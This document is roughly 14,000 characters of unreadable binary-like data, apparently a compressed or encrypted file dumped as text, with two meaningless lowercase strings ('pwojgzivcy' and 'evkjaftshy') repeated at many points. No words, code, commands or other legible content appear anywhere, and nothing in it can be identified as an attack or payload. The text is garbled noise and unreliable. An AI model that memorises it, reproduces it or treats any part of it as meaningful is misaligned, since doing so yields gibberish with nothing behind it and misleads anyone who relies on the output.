;siffM	矲, HbkM-&tnLipwojgzivcyI]jd
Y!Am%[jD"bdHxRy*\7x[#j^_
 /Ea zK!߮Z%@g@R!W?ϓx0?evkjaftshy%/C!㯽7ބꇚVJuCpwojgzivcys
Y0!YЍ:g-K|Zj\\pdGdU*fevkjaftshyQevkjaftshyڴD&bihRk|ʱK^pc͓bx4sTl	IJ؄vP
+U,~xdGRBB
*WW?,Μbf]jCt\D%-Z&q0[/@e;S~?($bLevkjaftshy|ϏNvI](_[-P*KVPci:ftpwojgzivcy
HoR\p\N,í w7CiX{#.yGB;[VϧIŤZ#l5l̥S1#Ĉ#+d~IyZV#GHyBElѷ7hFM*K3S+J @tI&QB_!JCR=!Yik)pwojgzivcyIevkjaftshy/\evkjaftshyl\*d x,)1+_ҝٷ(GpB5YQX}
f^0f̻"ckevkjaftshyG݃U[m_FTl-@RԡB3dC`'3Eu6L): :&\4=¿-1#} \$pwojgzivcyǢ}6JXֻN?1B:Nn- Vzb@}w*&&J_?*ukO-|PX¯K"H 3V]:oauO=@Z)"1MBjJv|u Jg;E;Spe#S'⩑=aɩW!Cuo-c~2&UFSd@gYuLƀIl^25Ϗa
LSl 	RιOoq^wC@^7}!Ӿg#s̧ޮa0k??~O;ﺭOOuKgܸ+QoB rQ`a}검oY|ݖ`t\+L
o}Z+ԝDtpwojgzivcyzR]u}-Cy25s7)wH~mT [],IX?l?OS9KH|M'ƖTW_1+ۃꪳu[5%TmO%owCE\+Ťsk1how{JӉO*(ՇvW샩oԾ8h"ljU'ߠ"fevkjaftshy;£~LpwojgzivcyCS/i:P
P߳^|-]͆&q1֢Rt
)2(Ť $[[\ptY9)Xk'1Ot}ssͪVA	˙3DYu(PkLLCi
:v70Q}0lPw\$toK}2)XT\AMԳJ^y~
~Qhi)騱_a&f·Vh7kŢdF@!bi`evkjaftshy~p4AhCks:ߥyCfG;Bͭf-4UTT]D̼IܹdȀm(!7ct
PM4qpwojgzivcy"}J%SAYe2l_W#me8pwojgzivcyl؝n6h[zPO˃2ym57m^$S s=qV#p5z7ԧXB,kHIpwojgzivcy;s0A#MsyթVW6M%!!Qs?0Ӎn)*y:+5LSdx,ǕCGEW4h006iB׬2*W[hy:#1
QOK~(e5`_YLFXa0p~Jx8MMϗpwojgzivcy/6n,rc?&&pwojgzivcyXCUsex0hA٦;&"0vayWO)HS)AP䣼m{.}+{~t@Gln&aFlO n+N	#ʫZC0
lH?׼]Ɖ7ӎ?T2Y,yd1Aq	9k(1a
gA[TvAwb`B9H3=]	y/#D
_6i-I3^4&VgϤeZ\pwojgzivcy9o)Hy1]mC"V-=CR᫇evkjaftshyVjR(
X`-eN~LK\V[&4@:4Yz0/8
(a*SXGKl}#qNj?bKuz]Ϡ-SrZɭ7U448c`I[ᳪǤäJT7D9ZH={8BQ*tXsa'n+;5A!niĬ$D(+s*ulpwojgzivcyb`G^맪`DtI
EN'j;}

&u9*WTˍko%$!:fcҡApBERIEw*abci7 \~LM馽Xb~
Pp)TH朮hX@Y#M}p)evkjaftshy5_*Մ|ѱ.WH$n@n%pwojgzivcy.߄BG+SP'!n%Ei!j,CXp~?ZEvBtLND-e"c^)##ig6jLqS7͢æt*'˜Jq~ꬑ$
⿧V4Z\xUM\+	oTٚt
^\k,j.,2;(RCAAv$ma
vzm#Vp,p-	 ?WS\`Apwojgzivcy˶_w܏).ۮpwojgzivcyD|8MS,:ߧ2:raY%6xۆ6΁iM/_Õm"k.'@Ē{.Eߘl
Qevkjaftshy7]?nyam$%KT|z}!䞕d*@VÝ_X̳ln3w٩镭!KYŃmh0Y9ǥmgevkjaftshy=n={26X3}^`ݮ.H$H&uQ2=LB	|@pz )QejݏWWZhvt_]gm=02ۺZ4+E5m3 TID@#"rIz'KŇԤzl̚#a}A@MeFض+!lq3M/B&)~fuǉXϡ׭5+E+ALӲUvBz3%BnI[5-X.0ڸܱI']ZMl׾)KΉ8҈evkjaftshydEzpBn}_)Carwqt;?o"pƞa4=#T%9x̻=)& 3]xN~B}TOY( = ,a?0Ud%X?h|w]ZYxSUOqV75nwD
"=ݝWVS@pq֒z%| nȰ"n(A/,}jqiOUt(^SK@LM858Vӥ+evkjaftshy&3;,XZ߫ƻ#l$ڇeevkjaftshy+?1ZԼv׈$%FG/Tbh5B8z5J_$7Vh`0 Z4ڲҀ70?amըŷ}7]EGrƣľQ$Kc#,jLdFy)dgR+ZnM7MFZk]ҁo,)!;Xݹ˗Gȣ'evkjaftshyRӖo-(evkjaftshyT̥vw[3bohMf|g/Hea2TN"}#߂QhF+_̋qrY6Λ~Mrb6/ITLk놫\!6a=Wr=,EXxPeC;:[2钬r?+~[LsP@5]G,^/XEǲ3Uj{]ӈ+wYP6!M09 ȣCVԴobxCD]{A	̝{S
Z}X*Z~Qƙ?bKUZK!^6^X1zSnk'evkjaftshyUsɳА#^	CXQG6a;@j4mAz'f?0қszM'U`
 P	F|v
jSa^vf^
֟oj
]acn͟T}_ zNlC'qk,zA8߄5[sIx8`K/#Ss E9]bs"`i*C CĬE@):rHڎ8ϩo`lS-#\u7rA%A~i˼z/"-
evkjaftshy|vsӶqcfC}gJI&hdAO
#r(o2P!`mjRf{מY^mq\lA;hfa`2%OJE!*AQ]G#`JwgjOUj˪l`;IYgk}\s0h;
OL0:[#b'Co2.Qgބ.ڶCMnHɷz a|h1s+\&DˎXf}n{nLevkjaftshyU)'O@hU'q7o7V'c 0rubk4r&l߬u.a _gdIULHQ/a5*b^[\ݼY2?et1ٲvZ	,MJ!CaYdtp')1bҘ~4լăduE`B^.iSbxy])Oиsk`0tߔRǩq+ACgOf8_1qAWM=FH)wwœJGwD%0FBFRP^&9潯{9#Ppxwk"pwojgzivcy`0Sci=4hVaH8"jeW݋=}B&ۃlDy#lT+o*QVS
g"΢{+Oiͪ!=U3]zKu"9y.gkIҚ:= l7eAJU;qE*8NQl4meT,7m֡ tq[RX=+49G6~zÒRNg\jMP^j{
b9YmK^#}ƭJd&jU0^2,nK?"lQ+5
\w;R820.urYNT:m?cvA]#Qjnv& Vhp{qQMA;Zۚr,y"'#r?m{m_`wpwojgzivcy6߆evkjaftshy8kU7U8׎Dߞ9uϩN9{Bpwojgzivcyl=xōHb79^/|rd? E4ykt*="\"gHԋsED-ZgIr]MOm@
BqnFY4QRĖ1]evkjaftshyfwXq!kpG4$ϔdlǢh"f\|L'*8O_]
/JbL2Z25̚$jJE$bKs7]rpwojgzivcy{284evkjaftshyBiE2:/
`hK*Ϗ=jɏ):v]%mU4o#
]Y`H6pʭ\5EW;-^n;oTׇ bD*pwojgzivcyEkQL޼z*|g*۴!Ij*C#3-W!2L^CR*iCZ8]#'3EP;cs'.2:$"P3mh==@aJ{k	q~aw	"zl־6%ğķ]y(}
J5ЪH"4
c3nۼ=ۆZ3*zƗ|̽!tggG*|Q3ŭ2߈5|C
c|{(|\q(kBS(f|_@yBeH!q-W^Epju@MkLtTzZCX_wq;LO$'@1'K·Z|pwojgzivcy^GO#ѡ00 z3VPE7,'[pwojgzivcy
jpi/KRo$|Sr34Lα&cY9oDrMҼv[Ɨjgo~C@3fW_^Xɕ|ѧ쥡O*T NoIimdY+,Nc})"+?7i(s_%~wqOad&"Vs!%|xVf!8ZX2;Ǖd}V2d2keevkjaftshyΜiuYi`qevkjaftshy\Nge=pwojgzivcyU!x."\
~|ZB7/R=4W]Na\+ݖ*k Yd]h-Je/xɐmC}'UՕI3XΓ!ZӀTRowUl޷!f=aS:þliV:-8V&ƲbV	ä_61#V
Ѷ]}lfjC;dQ}[*$0n~$9n(}׿7)`:Bx3/Z}IW^=7|:pwojgzivcyHhevЎja2@Iow,?
8gؠevkjaftshyNN\DrN`}),$jZ?%WNY 0=
"Һ Fpwojgzivcy2P`){nlRrm|evkjaftshy庅AǷ~
}&T}nmgLrv
Jԩ2;+GPmtn0ɶpi5+eD9AU(RN\P8Y%O+?tPwR~ccLR8k7pwojgzivcyǸN*. 
pѻoȕ?Q!Wd(aIju4ֈBيK- ?1PN~ǧ@/;Ifaa[a(ǺcG'Ojr]ki̫!rġ|*۱. 6pwojgzivcy.4챲N,zĤk1o0(\@kμ^`%~26|y,Qد֪O/➢fdtmNBA,(bg2Hkkn:\&v˟p8I?hnYv8:uU!&I\y/Ut=@B|1Ϗ\z˓_8aZs?,v/S4ojvEZ?v׹xd?qxp|mSǼ
kǻCoy#MHc-rؗ5Ήc2(opwojgzivcyHOgOpwojgzivcy7{cf߀,Vm{KO{&4sκ'z7SS}qMO{}=N[wqlR6~_ZCE!aޤxtkd!.zy+B-
!Tsl_ׯ ۍ;fMR
Y~$q,w ?o	#IEo㦶O(JU4Xn,evkjaftshy2b0:0Ymqf0qfw^U:zʱVń0K^aQ٪z҆Oχf:U8$?/di:!0m	 ߂"-"79D|#d	d}{=?ibMcy'pcCTd
ȋl0!4
3z7evkjaftshy3D^,#u9vV2%YVuwI[ u6RC ˘OKTUIhpwojgzivcy޺Ea%PZ˃+uҭ8%鷍)tD=o#E 0(#
,7A( mMM䧜9,_,FxjSN~I,]#*4` W A*evkjaftshy2_~'%GjA$e`9 F3t2~~4o|Ƞbʽu43vO[A{evkjaftshyAYe6rpwojgzivcy|
:0-eSޢaq	b~+749f*oW/XnniVrlc'㶨7Uf }i 2_^I~qT?sum
caqC:bMei4ɗ@tۘ:.g
(o}4Lvq|~oߓ	P"icevkjaftshyY:QG88*
]3D_WpwojgzivcyK/2SнDz-evkjaftshyͭ=*^9e
̇8O!i3!/Iߡ
D眜RFPBxc!}\
uVƹ^-aeHpwojgzivcy"evkjaftshy$q-uLm^
hK§q\I3Il0d?sevkjaftshy1TvLlAc!A\NE7&rH@BlZSpxxZ7=X
)Ϝ1Ij8Sڟs\!AUH_GT*^*˃gR.#DsKS eJ-U{3ZcO̚V;h̏50QptD؛})\fi͊ j7"C(evkjaftshyZ;Fc3.(u;#լ8 3虫b3uzܢWABCoXKITdX養7$W^ XnM)w	˙WFu.$5 "l##^7D$~qԆ%pwojgzivcyRPઓ
_dzj({+z49;+kG?Uسevkjaftshyζt#Cb+UdU.YQĊAE,n@DQk.)esG=cז\m3|eʜd 'al0иNhˉevkjaftshyMam:LJ!_n6mKǉ=-G/``VدU.+`0IfA(]-`C/^$P|GPevkjaftshyj;6P$qV,pD޷!1pM}t+[d!R&ϡ	-%
Rm"|06
97
)~.4FDN9U
pwojgzivcy	)3;;Lxy-!12hwmMෑ"7|nMs)tU6	F7nݳD61=MsH*
L7evkjaftshyU	 (a9͕GU9Ze+Y\h|[B"lL:ƛDwt
Jq:oa6VhZevkjaftshyty\T"2p.lQd1ZXͻ&U%?q1OڠǇ0역p\S.( `11F{,ћv]?bsyh,3pwojgzivcypf'ky?ZOyް+ĈiZevkjaftshyG)~URbRp(2k	_}a%}B*JĤpwojgzivcyx!seU=3Qt'ۿQI|򀵘@4=8f!"^/|zl9ObVg[!  Ў"3eWOCFRtevkjaftshyDoe]&;:*.L9Swevkjaftshyqμ79%Btf+Y:_c7]x3S/K
ovzoaC0^&
:^ic  ALzK8J)nuwUFC1BkzYE8meg/8UW1f'fNevkjaftshy#xevkjaftshyBzOB)U{; eX݁|򣨌n(%J~ 7B^Levkjaftshy*v'1|g?E,
u#kƿdQxxd-tN=\6Rx@GֱB)/E-Y#Fі#$bFx{tæ+"#s(RлD"GrhgB8OϠo5Z3ѳj^0yHyO/06cȧmBGT9JF~H618AVHp0DJ=0evkjaftshy];rweq/*ъ=ؔ:/5Fe*9|rT
A' 
`B*dp}
lYP?\ᇛrK2Ԧ2v0?ߦ)V
H3%4OFG{/ZZu#\݆졗U~#c-%4/LyW5o)/*@%)s*8?{`zjF"3cΚթ'cw57)qn
!e;#ȁܤ'"{;j$Mr]
RS5xG7(S'K&nNxAe($7 Hdo	7Xoa+Z6{$@ƨ^]ȍ#
Nݡ-?
c|r%
1*1;6ٔ-Mh&ƯjrNpʚ\Dy6X-~}Jvw
Q?9& +`݊@FF3aw~dF.ܜV6zpwojgzivcyY!C͂lZzǃiTSwy4hz9x
5ų/5N~
#2yȇ+uAMDG'du^ыC[hJD49
y '"@0pwojgzivcytevkjaftshyPeDUe__$YlRfup/rep46DOT#FHo|pwojgzivcyNi̃-,7_evkjaftshy=BD*ڇΦx}BøBU%uXsZ=E60ɡ
{:#2_9z=G|Yiԙ$s}^F;fevkjaftshypwojgzivcyb~vu͔}܊*S24LLts/F0Sl][|[74sz3sf8T2#f
botJʃ	,\X6@el6#4q*2evkjaftshy%՘Q#3boB5"[׎LIPe1.FW9t(OV2D-L.05drI7'"D+
\'p☒(!C8ěX6|,kF9vI9U攪[&TמuRTlҕC0w!v9k+NVoN󷇋3aWB Eevkjaftshyr) #MRcgamT pwojgzivcy`3)RЉy@"	[meK--\evkjaftshyI%q7,qaݸ׵&?*l}4o$?ڛpV4YtߍqeAMU0ߨÈ$NJx'Jbh'Q}D0KZN(j+Gl!Q׵?&Nu9LPfOߣ|L (0wa;dv}qDwJepwojgzivcy9?b?M|2b9L3#tρmnfB'vF~xb̃L ¶xZi7Ts:ΨHcܞY7!~VR-Ꝯf'Ͼ%W/`Ԕevkjaftshy8^΀]daqa̮lacqPcvq;)h?#V';Aevkjaftshyo;ɶuѮXUX\;-N5Yi`2.؂Y'evkjaftshyievkjaftshyJne_W XO$X߼0F~_uRYħrfXCؼBWUӴ4
7!!eCT+?)bA3 =[3rHr␪2QcZn"J)F4TޘDi1G= weׇܕNkX
\bO~PίMeevkjaftshy##x?VLY Cb-\t!MI^K|I4^~-ΕTl&NKs\`0evkjaftshyڢ8$6q_z+}P-{c=5ɑ
Eu}pwojgzivcy݀G9,d/֣(湂}춿H4'k)@Β)Wimۙ񴪠6]nM\ "wgd+F)V.A~K&p\x\-"7b0qub'Ebk=zeՙ !2,(
;%;KQ5,\e k[z7yL{w.z0t$wڥ)×tXrGUX|[Q\- %l^yP˘NyEu`n?AÑ"[D$N_n#nE-f#DZ9smdeXA;pwojgzivcy&m4ߧ6AǞ]
tt){|ROe&Sv-:2lZvw_/bϢi	Z)q=evkjaftshy87\F?+oު
lTClPvuAsCTlP_5TzF0pwojgzivcy՟]EYɱSC_6 &MNL-Q}evkjaftshyq*Vɪ67QHke[J.Z6y\vDpwojgzivcyg?py58kGU
^ջ*(+jVdZTCrOW2v*dF7e܉tߙ^3֓jXr~W⣞A吇RoSuVس`K`"&RJvT
؝ֲV|s.C\3i}fV$="V{w5w/e;(iD:rM6̐РVFrdѣO2Eu+\e]8?KY[BZh6a:{2Y|#匏~jg!B!xD{ڝטs ڜ@j\TΖ}F^WVfojUw;Aevkjaftshy@zՊ/E(/"0:bXPWZ]MJڰK.7َ"*rɚHި: 71X1mpwojgzivcy̔l'p~#Xq9NN
@wb"^
=opwojgzivcyeTevЈٯ;HڃFe4K
5
o2=0-N#:RJ[K`t%_EL=AxxRmىةļ	l	E9O-/5gzbPNfke#vuHU?qף@iags{W%46?OQ)=H.=7z$l榻
bkE:J/]A[$eevkjaftshy5i
moX$9%[2tb&젿 Yy~d"mF%hU/.ǎDJevkjaftshyi3:8Euk"©йI3Hvrn+2n
&~er39b}i{1}if宍=.W
SpP-u(!evkjaftshyi)ۄgzJZ8+33\pwojgzivcy|% FۉT7pNđppwojgzivcy[N99̵鈈evkjaftshy[Z7aylIE^pV$LAIrlz-}JqܬM
1H5CcllͣW[f\FSʆ֦n;ߒ ?Ӈ+=`gG6gҼ[8qa	OtE^|bضP| C%Dk|V" 
.jYr%t
MAN{ky~mQՔlRxc# Hf˥l;F9?+Ѱ	H}*"K[%./_BWoּUz!| ĺ'wpp@J~$
MooIw,G&n9-I]!M }}cJɂC;A[9Nevkjaftshyv{ĕ37R2R~t=ѕgY(Z-5'`) ަf~pwojgzivcyg^HdTJ$nP*"bD{׆$&SF@g49*.ӢZ4+Ӈu@8rϸ5o;XU&B)hP=Dʇ(]l1H~$P%^_k 1_O}8,kK}N礬ymID}sWIOnO~dQlg@e]qZZb|E}jЉg[Ƿ؈DZƌRnOtDD݈݇e-_es^=B_K9t*:g@J0ٸdBT]woi, Sytv! ++ڡLZ_K՜S;2?^evkjaftshy7+io69RXVy
&YzE6;wu@b7z9.@o`2T2-%~z#_iMO~?m҅;F);#P!쉙T^J+Ou rh/jB9S#UD)0e2\UQޯt7pz BJV9LJLWEL&Nkn-yBr{է~riť
W{K.hLd\*!}DBo&÷@wD}7Zvl݈n_p?&cD,Ў$3LΈfF//$pwojgzivcyhh碚lW%NJܦo1{ψ"
#Woط:!wM٬z~ a8 KvT6t;?UyS8FגsfeG_XZ
ͯs^BuHK.GqBgJ=D=
J8!=)!ه9pwojgzivcy
pwojgzivcy,a|xMa0'ִ4["w(d:=F%iļpQBع'%TV\W%ҽPOog51V	yAJ4evkjaftshy1_COZ&m
x]r_T;+
/qg;JPU1
.INz\~Lu@2E.֫Ab5F۾pq{$Zt+yt@G=0M aSckcmsMvGx_/_=":clY`LJvpwojgzivcy[vH,Rg|#)1:Dj_{.I'evkjaftshy8keIU[Mپ$h)n.Ց=|fOOY;x&|[92X
Yzָ7M3Ey1~5m$KOJjwN]Ð$ԯqW8 Y&,cBrԏpL kKs5\VTx,-~RZq֛X5y13~i_7ԃW1Rv9:0x#?Piܝo:GǮkkk_1)tYevkjaftshyi^AW8.q
Iʝ(g[6ccN]Mźe!o]&eᠨ .Mu
tx%
evkjaftshyh-HΜ81e-^6೉[o;@p
24A./9SȔ
m?SUC#Chl(o'evkjaftshyu`R=IY4`-ԓҀeujY +Fb#F˻)RD'?S+_O(~ $|:qD["f1l7pwojgzivcy'6q_S4ʏ(wU'4~.g] M
C0ľ4vlJ|lf =
adR:۫kHgFF%bR
`!-75r҇mJ6gSG4W[Kˍk}ypwojgzivcy̓hcMc^tVevkjaftshyÔNE"`]yѠVq| ⒕eCpwojgzivcyoevkjaftshy͘m&i(f/H%2ҋX_IVH/&.XV[h1k]~7 Gީ0D xx=:ϑ]evkjaftshy;plRvo
;_035Ȼ"1 \~$9b&P#fK* x4aYL45e Yb?Zz]j)FBґ))erX8y&R"#$XkݕNM?)rgRWwPB!ʎS
pwojgzivcy&`]D{zP`9`C$evkjaftshyj8ݜR$ȇִ=0Krp4KΪPE9xf
}3
`{vtPHoz$Ohn+"r?*Ig+0evkjaftshy8$Gr`7wEzhM`-u
a[(Ʉ鮕ĘAncx)h
.SXqB]dc'4j71hϧu=p
j]M;ޡ^Բ!1
SĀƬS|(rIGu=ޘԼ| m$}evkjaftshy2Ly
cu*k,T^kÓ	Y58N^fa۞}.ဖwC"$cJ:	s:_%;US
R9-&fJ~e\=U;lIp7w"b"fPRO"/=G3PBH;2nདsR/Ck~~X`s47jA!ߊ2O-W1hz3۹@ɵ9}mBwx`SC?ibJe󔮫[|Emv57xJt27
R}i^)evkjaftshyFٍ1TlO8{Ϛ03.?$x`4$!Ga"a0;!_9i$]_;6@k7xT"e(X^ϭ͇ A]!.Q [ȇS/)AQ9=|ɸc}HSlhZ`gN֞HT,\i[spwojgzivcyp˚@x{?oevkjaftshyiC|wB-H!2"FVl4?\ӸMO/&_0Jѳ
j9 =ӳ:ye)ٯwn
%&Om$5OSq ic΁mL*N U]bk{D`;EyYX}q6`hY	=^j˷Xf1Rx

B{"KΖ:e, ̓iV5j}5Tń@OU:X `6;_2\uHUjN.eW[ |E:Nq~XJ(ԅ}JG'Ή%j%t.pwojgzivcy,U@f4jÔ[n[.,@	z*7Mpɞ%29bʊ"&\\sǍUtàAevkjaftshyWBCLɀ e`y@rg|GA
jwPpWw[[*3T
(Ua6]
[G#l=|[ԲOPM"%`D0̍!"}*Sӕ^PYLpwojgzivcy':K߉$O8 )yeMUd
GkB9i
yI!Qu6{VE`A*JV] yqMmTL
͂`qYi35ԚZ?=
Ǭǝux]gw\H9ϋGnΊQpSraJj@u$#.w7Īg0C^@?Nsep~"
52UyIX&@oLglyF+rSrĵW!pwojgzivcy	_%1uѯeJh1ykrMf-}	EE&eJW׏g,R~"q7Ώ#pwojgzivcyi#evkjaftshy _IҁXH1~̉fS 4~R+=c}D:J,ߧzLa"}Lkn~-rf"vM䣐R錳A`q!˴,tTzTY(jx-W{L[lpwojgzivcyM=B;|s@Vo߆-Tq^voԟ|jWuͳH	p Z(coH`т-pwojgzivcy(z] b.j[DGXn_#o7fIYtBp	
 fDK.xW1!9
B/ɬ޼&[on12E2yY"9poQB?cM Ă$;rIf9gw%#"Zsp?e$1[oAT37!U(5M\d(z [][OY!A[ԹZL(V{OQApwojgzivcyٳL]{ 7
GmUߚ `s+[%'ݏ5ޗyۏشӯgaψ*rcN
#*-a:o4W`}Ya'q$T  }	Vϴ~1sѴevkjaftshy͌Q(71%?/lB{k.A2,#e,zIx痟NJt6eVpɜ}g(SW(lCFꋿ_s
dSC#"ӛfw e-]:]ȇL2~|_ԆYCzBLHQZ+֥R
$ C˴DdNb/rP[Gה|ZZp66Пb5ړFv
%`-e$J_Lt$ΰB[A$~kCuևWuxO(*d%cqHtBj]vmS(Z=1Ly+hA􊗚G\-?&*yG6evkjaftshyy}ِZUpwojgzivcy!hA]&'=#C3W-Y_DPnHŏ#:}
sj),R{Hj(=G5WepwojgzivcyS5 "
R.fe,ޘ\t$s3|^pѼ-:|T1gZ@
R%"ӧ@GiX% cQebtdnaW7C£8pwojgzivcyophD&V&]x^,IA7Tq*3Apwojgzivcyx' xpwojgzivcy7	ItsC
IpY(ԯlĹrbHEJ9: leg	y\tYNTkCU|v߻Mwjv%;Sevkjaftshy%܃)U\s!oб}W3y+ye6jh~b_12cBOaIv+3&?RvcT#8'tQΪ8
(ld%t])yɺwa] #9x"	yeH|a@R1M}xyQp	ZT*H(N`z!s!.(qs`	&0/W?9tΖQ̝evkjaftshy	z/Gt3տi\(jLreQua
 ^rDimS:5˪#Dc͎G1g?cvO]l[LrPҹDl|[W`QֶTwɝ`|.`JQe:;k57R5Xof̑0ӞGš=dG{/rWuϜx	zCԖ_pwojgzivcy$H=tNi\;H2}QW+\	\燐;ZitB'_gP3QsYN	_	/.D#3槯RqýQevkjaftshyVm|adu|1'T9)R'LN4Cgg҇#f"E#:VM5 [{sތ/OTWY1@=M֩i߆="cH?Nw'|U٫%m$5e
Ͽn:/
--+qn92y10폸"@A/E Sʌ
  /H$VraeaN0Me֦ڪS.`Fb})X2z1QRo IwlLԄԓ]D5~a{_3~k5MX$awTLM^l|:o2e⸉XaO`G38dҿNZA$:Z:Arc@:sKevkjaftshy'V7#9:p*
8~k7ZճUaspwojgzivcy;&z;2xevkjaftshyb%ŭrϚ6evkjaftshyx%(_`SPIk[9weaNPKzQ#ȝ6E)Ǿ# ,ݍ
0i:K1}s"_j
''i\G&ztLT6Tj	|hx{LAۼppwojgzivcyJevkjaftshy?2Z2zB)5֙BɀG})(M/-Fߒ ޟwQ{:ϫ/ʔ[cjӉN['HlpOiZ ,N(@2y0H ,/jUϪIy
ɯЇI5&luGuxKDBcuB!v;Mw5DmB#_J#Ů?
yϏevkjaftshy*+C\WD
Cz$]7nt|~ZW@vݏptܔ)[S.eyPbxT!	A5Ij77t 
a=%ڀh}::/kwMt	(|8s}5KRv	L` tGevkjaftshyOĦ* E7ɍL`K]QQBLM)Cg K	ƫZp
)y5D-b]/5C
	y'9ʔʛKnmLNuWر!^@cLNN鈋$pwojgzivcyC3ue=׈79XoCx36;?f,볲:PJ7t&yg4y-0!nF%QӅg)-3u!&ZIu[\:u2 knA9Lx?X} *&m@GW%6qG2 {n9#r_hOejg/vۨ:z^|V_Xc`&ɮS2Q-r]L
܂*yKRaƮGoTjDUj^Xh}qwqu sUevkjaftshyn ߶Ջ+' +Z_=!)ʻ50evkjaftshyɖ(vo^K2X1SBXw2%?LC#ր4`n4pwojgzivcyo1K3kdh 6`)w܆]pwojgzivcyB}LcekW3ۺ'{an,0/(`뇎wmYɿY5:j	Ȍ}}M;1
ppwojgzivcy!V6'Bb!5E읉x]5}/h}#xୂ9	zșo46qa;%l옵i3
1~$evkjaftshyBN`` Z
SS.zhpܝ7XcUVr]palr?k~ac
"5uΜ~iƷ	zLvA
\yI{Vmn&,ol\]mqj'DVɲ	ֽ3/\)lj5d9ۀ%[U#:-?Ѽ
npP
orӡ
_^,pwojgzivcy=p
})u67Dо~˧,evkjaftshy
9!b'Y*6ivvCj]?{"_:#\\7К))JP¹c@%0c@	K@dJ?;i?eD0^B L
Y+tҠ؜M%]t!)$pwojgzivcy;pwojgzivcy([5 ;",Wn4j}Dnw({4yevkjaftshy`Nr	z2U
;=)æk~`5@Ve~=T\Lqyy8Ьr2 QKߵX+EHЛGf+Uaj:e"m
3̭Ԫa+lZ$ěpwojgzivcy׾evkjaftshy q0Ry"3+WK
=Rr^}m_)Ssz8~Hevkjaftshypwojgzivcy6eG|+`Nevkjaftshyč"'`2lfcꥂ:m=5W|T48;*lC+a8r#pc;x
{xa
*UZ?(kod@r7;('m6bo=]/"/zXpA#U$48evkjaftshy.D/@_gC'gֈ:i
T(ɬ9&X9}y5bpM?]qR}4
XQg[^L*rħ@-a6/4L%Z6B&~ɧvwd~P}(ͧW=s@Z`81@Ky//Wi~=E
˥̾@*{r!k*§f2b	}epwojgzivcyX6a20a:ma8 _Z5evkjaftshy*oCGV'Y	hs6yO_޸HU{zI2bq)KYqz?:6C&Wzbʃ_YH)`E'+4rr~
%UV-c\K5)koB;!Fie	٧M(̞DY
!3/ѮԸZn~{Z1̈́aFq8 -֯2
)Iv#h6"Ɍ1pۨͥ]mLeOmŮʨ e
",+J{{F`T6\
|sy1!H'HcUq
KlTHt:߮zevkjaftshyh1ʈ`J+'ܤp@
XZpjOΪӐt#WfFaR0_02I`7e0tP
]?*vk,n06BP֑&|a9~MKAe
-_^VlG 
h;i^I6l@-gXD32?}|pwojgzivcy6
*p}DLЌL6o
{6!K1ltHq@!Z8gq%)s=qq!MNevkjaftshy
t?ϋpʔ?J!9\]ʺN[o6pwojgzivcyt0(rM "	SWlvTq(֕
+9IX?ҕ^r
Wo2j[^$vkZ q`IQ6wh iV"k
VDEژ1"_AEI5=F&BXPĪevkjaftshy%ǨfY;g?sRv|}5cjg4s64?]]Օw_58S6T.Kj	g|e%!h)
^E8Sͤ$rXf-OwWֻ@AՐFfy:j}ڻ* UXLOpwojgzivcy".NVDspwojgzivcyNR\?0:&\GfሯƇxR	udR1OJ Klc_	̬/1OZc(xP潾,̎1XĲes!aFBǵY#ٷה [6z̭ӻFO(¡Z7FZ~LIxzU
pxvbpwojgzivcyd1\NZ&pb %z3r6!JHFa;^BǤTm2?(w9c;ғevkjaftshyU$aC·-PA3h[&7}@GrlIw=
0Le2۾ڵO5'*[8u+\~/.:'|3-X3ܠH@q' Q\}ϢMk}lɾגN
9୊N錈~['b
]l}sI"=^-3ḭrְƏ?[l,X{ԝ]pwojgzivcy8tg7Ni!Gcpȝװ#hG_I:Dpwojgzivcy-evkjaftshy[c~r'4/P؆*wni-ZaY!z]K=a23pwojgzivcy.yA;Dg^}I
AvS	hu֑
n$F j'[OνbZEH	jL	'^T	OK 6ʪ 5:$'LBޑ22D IdVaQFگq9
ʄ8Wz^s(BfɌEFaf  QxUlQ\\xa0k(mk;}\QԘޅ#)XB_|BEFiE*~s8:mO_VUVA3~Pevkjaftshy/(jE|c'
պWa@ơ: &r4XJ	BJX!ݳ$r-h
]tӛ+V(l[w)wb|h콹yvVOlb5o*(ֱ"I6~	!˂3̗pwojgzivcy+M#U׹b𯽢s6T
Puš`acms)ե#'ɃCnOh7LQ՘E-evkjaftshy_2i*%AIG ZuFk+V9)9!Ǉ~۲Gcf?܋Ϧ(e׼wXa{]z6& levkjaftshy	Q4hgQwo lVW@_aٻ!`WdNpwojgzivcybExdsd~[a M`bS7EFHN ;=
]ʽZw"0,1P"pwojgzivcy@ ASo~a(qIQ}TR1zWSwݏevkjaftshyMpwojgzivcy=:tuz+҇e.anAᠾb!P*h+i{ï1_4hX_' bR5`BevkjaftshyjsBLu#ia6&|jԖ/&n%m%|8۴y G'վ-Y?/L!̇+tmt{&ssevkjaftshy׋p=pwojgzivcy+Ry.gBR&`I`ZOϓV0!D}K9&R޵o"lWknAkhvl`f8W D}8N6ݰ)ʷyf}t1{!/:g J*7]%X?BK ?hFt[xO'Eonǿ΃Yz,`pwojgzivcyPU|d6aS'0@~*|56r
-PїN2/Sz^J6R_Y5B[spwojgzivcy-CJKXcc%"B$t`(xcʿ?÷o"=S'U+	R*CI%vⶭx֨x͍ťιsbLmC/
	W2\2,)DC{~f?xgȝ"Ǝv{K^un'M:u#_C/*Oh@l%}#\\_5epđ;5%evkjaftshy'z2E!GI)`j*3YL#~P*xh%]uIRFAEOH2N-\0**iɭ\?Y*V屋XwM~o'8vnwJVTM3 t۶'w6'Y$I%kF7j4pwojgzivcyd|*#mB?g~`ƿ:ۦ_U/-L4ċCgv9E 
dhKb"\&Y*aO֟OcSqʋ8}_ugepwojgzivcy8@ @jFyu9YR1)pwojgzivcygˋd?GLp~ k@wN4(.,혻dDޠk`(?ȳK?׉: qIJƇ*c ɏHHH^ҳ9!_Fs1'-kykUv!&{xi }KkTm~Xs
Ta*(~jq7evkjaftshy	鿠	)XjRzOΠMcm
6pwojgzivcyG(bǉiX2ZZߓWb=_9낊y?Pv0J)Hpf f7")/jx6G$9-`LU1.-غ,
0[%s= t쟉D᭲=YC[jyy 3HWLW5GDPڙO%fPmSZ2OI?ޜYuv3DqX*Wk+lX(=J-Vz~]݌ɹ6pwojgzivcy8)#SBڶ.j(Cz2(V^%T͓a%"
-ӆc
#OnUKHDgqo 짯\"r )JYh{FLD
s8Sݬ'ڀY)k62'G!NHM}[&E_[^6V[{xTehJ'v]MmȹjY}T{ B7d#*@1
=FDҚآfy!68+Ϭ6evkjaftshyzLϒm;_?ަu\I[S!0'6evkjaftshyq&

